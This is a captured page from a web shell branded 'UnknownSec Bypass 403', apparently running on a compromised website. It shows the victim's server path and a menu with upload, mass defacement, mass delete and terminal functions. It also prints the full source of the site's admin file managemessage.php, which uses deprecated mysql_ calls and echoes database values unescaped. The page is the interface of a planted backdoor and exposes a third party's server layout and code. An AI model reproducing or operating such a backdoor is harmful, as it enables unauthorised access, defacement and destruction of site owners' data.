UnknownSec Bypass
403
:
/
home
/
growthpharma
/
public_html
/
Master@Growth
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
managemessage.php
<?php include_once("config.php"); include_once("session_check.php"); $sqlmanageprod = mysql_query("select * from message"); $sqfmanageprod = mysql_fetch_array($sqlmanageprod); ?> <!doctype html> <!-- paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ --> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]--> <head> <meta charset="utf-8"> <!-- DNS prefetch --> <link rel=dns-prefetch href="//fonts.googleapis.com"> <!-- Use the .htaccess and remove these lines to avoid edge case issues. More info: h5bp.com/b/378 --> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title>Edit Message :: VISM</title> <meta name="description" content=""> <meta name="author" content=""> <!-- Mobile viewport optimized: j.mp/bplateviewport --> <meta name="viewport" content="width=device-width,initial-scale=1"> <!-- Place favicon.ico and apple-touch-icon.png in the root directory: mathiasbynens.be/notes/touch-icons --> <!-- CSS: implied media=all --> <!-- CSS concatenated and minified via ant build script--> <link rel="stylesheet" href="css/style.css"> <!-- Generic style (Boilerplate) --> <link rel="stylesheet" href="css/960.fluid.css"> <!-- 960.gs Grid System --> <link rel="stylesheet" href="css/main.css"> <!-- Complete Layout and main styles --> <link rel="stylesheet" href="css/buttons.css"> <!-- Buttons, optional --> <link rel="stylesheet" href="css/lists.css"> <!-- Lists, optional --> <link rel="stylesheet" href="css/icons.css"> <!-- Icons, optional --> <link rel="stylesheet" href="css/notifications.css"> <!-- Notifications, optional --> <link rel="stylesheet" href="css/typography.css"> <!-- Typography --> <link rel="stylesheet" href="css/forms.css"> <!-- Forms, optional --> <link rel="stylesheet" href="css/tables.css"> <!-- Tables, optional --> <link rel="stylesheet" href="css/charts.css"> <!-- Charts, optional --> <link rel="stylesheet" href="css/jquery-ui-1.8.15.custom.css"> <!-- jQuery UI, optional --> <!-- end CSS--> <!-- Fonts --> <link href="//fonts.googleapis.com/css?family=PT+Sans" rel="stylesheet" type="text/css"> <!-- end Fonts--> <!-- More ideas for your <head> here: h5bp.com/d/head-Tips --> <!-- All JavaScript at the bottom, except for Modernizr / Respond. Modernizr enables HTML5 elements & feature detects; Respond is a polyfill for min/max-width CSS3 Media Queries For optimal performance, use a custom Modernizr build: www.modernizr.com/download/ --> <script src="js/libs/modernizr-2.0.6.min.js"></script> </head> <body id="top"> <!-- Begin of #container --> <div id="container"> <!-- Begin of #header --> <?php include_once("header.php");?> <!--! end of #header --> <div class="fix-shadow-bottom-height"></div> <!-- Begin of Sidebar --> <?php include_once("navigation.php");?> <!--! end of #sidebar --> <!-- Begin of #main --> <div id="main" ROLE="main"> <!-- Begin of titlebar/breadcrumbs --> <div id="title-bar"> <ul id="breadcrumbs"> <li><a href="dashboard.php" title="Home"><span id="bc-home"></span></a></li> <li class="no-hover">Admin Control</li> </ul> </div> <!--! end of #title-bar --> <div class="shadow-bottom shadow-titlebar"></div> <!-- Begin of #main-content --> <div id="main-content"> <div class="container_12"> <div class="grid_12"> <h1>Manage Message </h1> <p> <span class="actions-left"> <a class="button red" id="reset-validate-form" onClick="javascript:window.location.href='#'">Centenary Message</a> </span> </p> </div> <div class="grid_12"> <div class="block-border"> <div class="block-header"> <h1>Message Details</h1><span></span> </div> <div class="block-content"> <?php if(isset($_SESSION['mode']) && ($_SESSION['mode']!='')) { ?> <div class="alert success"> <span class="hide">x</span> <?php echo $_SESSION['mode']; unset ($_SESSION['mode']); ?> </div> <?php } ?> <?php if(isset($_SESSION['mode1']) && ($_SESSION['mode1']!='')) { ?> <div class="alert error"> <span class="hide">x</span> <?php echo $_SESSION['mode1']; unset ($_SESSION['mode1']); ?> </div> <?php } ?> <table id="table-example" class="table"> <thead> <tr> <th> Title </th> <th> Centenary Image</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php while($sqfmanageprod) { ?> <tr class="gradeX"> <td><?php echo $sqfmanageprod['title'];?></td> <td align="center"> <a href="#"><img src="message/<?php echo $sqfmanageprod['image'];?>" width="200" height="70" onClick="MM_openBrWindow('message/<?php echo $sqfmanageproduct['image'];?>','','scrollbars=yes,width=350,height=350')" /></a></td> <td class="center"><?php echo $sqfmanageprod['status'];?></td> <td class="center"> <a href="deletemessage.php?id=<?php echo $sqfmanageprod['id'];?>&status=<?php if($sqfmanageprod['status']=='Active') { echo "Blocked" ;} else {echo "Active" ;} ?>"><?php if($sqfmanageprod['status']=='Active'){?><img src="img/icons/packs/fugue/16x16/status.png" width="16" height="16" alt="status" title="Active"><?php } else { ?><img src="img/icons/packs/fugue/16x16/status-busy.png" width="16" height="16" alt="status" title="De-Active"><?php } ?></a> <a href="editmessage.php?id=<?php echo $sqfmanageprod['id'];?>"><img src="img/icons/packs/fugue/16x16/edit-indent.png" width="16" height="16" alt="edit" border="0" title="Edit"></a> <a href="deletemessage.php?delid=<?php echo $sqfmanageprod['id'];?>" onClick="return check('<?php echo $sqfmanageprod['title']?>')"><img src="img/icons/packs/fugue/16x16/cutter--pencil.png" width="16" height="16" alt="delete" title="Delete"></a> </td> </tr> <?php $sqfmanageprod = mysql_fetch_array($sqlmanageprod); } ?> </tbody> </table> </div> </div> </div> <div class="clear height-fix"></div> </div></div> <!--! end of #main-content --> </div> <!--! end of #main --> <!--<footer id="footer"><div class="container_12"> <div class="grid_12"> <div class="footer-icon align-center"><a class="top" href="#top"></a></div> </div> </div></footer>--> </div> <!--! end of #container --> <!-- JavaScript at the bottom for fast page loading --> <!-- Grab Google CDN's jQuery, with a protocol relative URL; fall back to local if offline --> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> <script>window.jQuery || document.write('<script src="js/libs/jquery-1.6.2.min.js"><\/script>')</script> <!-- scripts concatenated and minified via ant build script--> <script defer src="js/plugins.js"></script> <!-- lightweight wrapper for consolelog, optional --> <script defer src="js/mylibs/jquery-ui-1.8.15.custom.min.js"></script> <!-- jQuery UI --> <script defer src="js/mylibs/jquery.notifications.js"></script> <!-- Notifications --> <script defer src="js/mylibs/jquery.uniform.min.js"></script> <!-- Uniform (Look & Feel from forms) --> <script defer src="js/mylibs/jquery.validate.min.js"></script> <!-- Validation from forms --> <script defer src="js/mylibs/jquery.dataTables.min.js"></script> <!-- Tables --> <script defer src="js/mylibs/jquery.tipsy.js"></script> <!-- Tooltips --> <script defer src="js/mylibs/excanvas.js"></script> <!-- Charts --> <script defer src="js/mylibs/jquery.visualize.js"></script> <!-- Charts --> <script defer src="js/mylibs/jquery.slidernav.min.js"></script> <!-- Contact List --> <script defer src="js/common.js"></script> <!-- Generic functions --> <script defer src="js/script.js"></script> <!-- Generic scripts --> <script type="text/javascript"> $().ready(function() { /* * Form Validation */ $.validator.setDefaults({ submitHandler: function(e) { $.jGrowl("Form was successfully submitted.", { theme: 'success' }); $(e).parent().parent().fadeOut(); v.resetForm(); v2.resetForm(); v3.resetForm(); } }); var v = $("#create-user-form").validate(); jQuery("#reset").click(function() { v.resetForm(); $.jGrowl("User was not created!", { theme: 'error' }); }); var v2 = $("#write-message-form").validate(); jQuery("#reset2").click(function() { v2.resetForm(); $.jGrowl("Message was not sent.", { theme: 'error' }); }); var v3 = $("#create-folder-form").validate(); jQuery("#reset3").click(function() { v3.resetForm(); $.jGrowl("Folder was not created!", { theme: 'error' }); }); /* * DataTables */ $('#table-example').dataTable(); }); </script> <script type="text/javascript"> function check(catname) { var catname=catname; var s="Are you sure to delete " + "\""+ catname + "\""; var r=confirm(s); if(r==true) { return true; } if(r==false) { return false; } } </script> </body> </html>
Copyright © 2024 - UnknownSec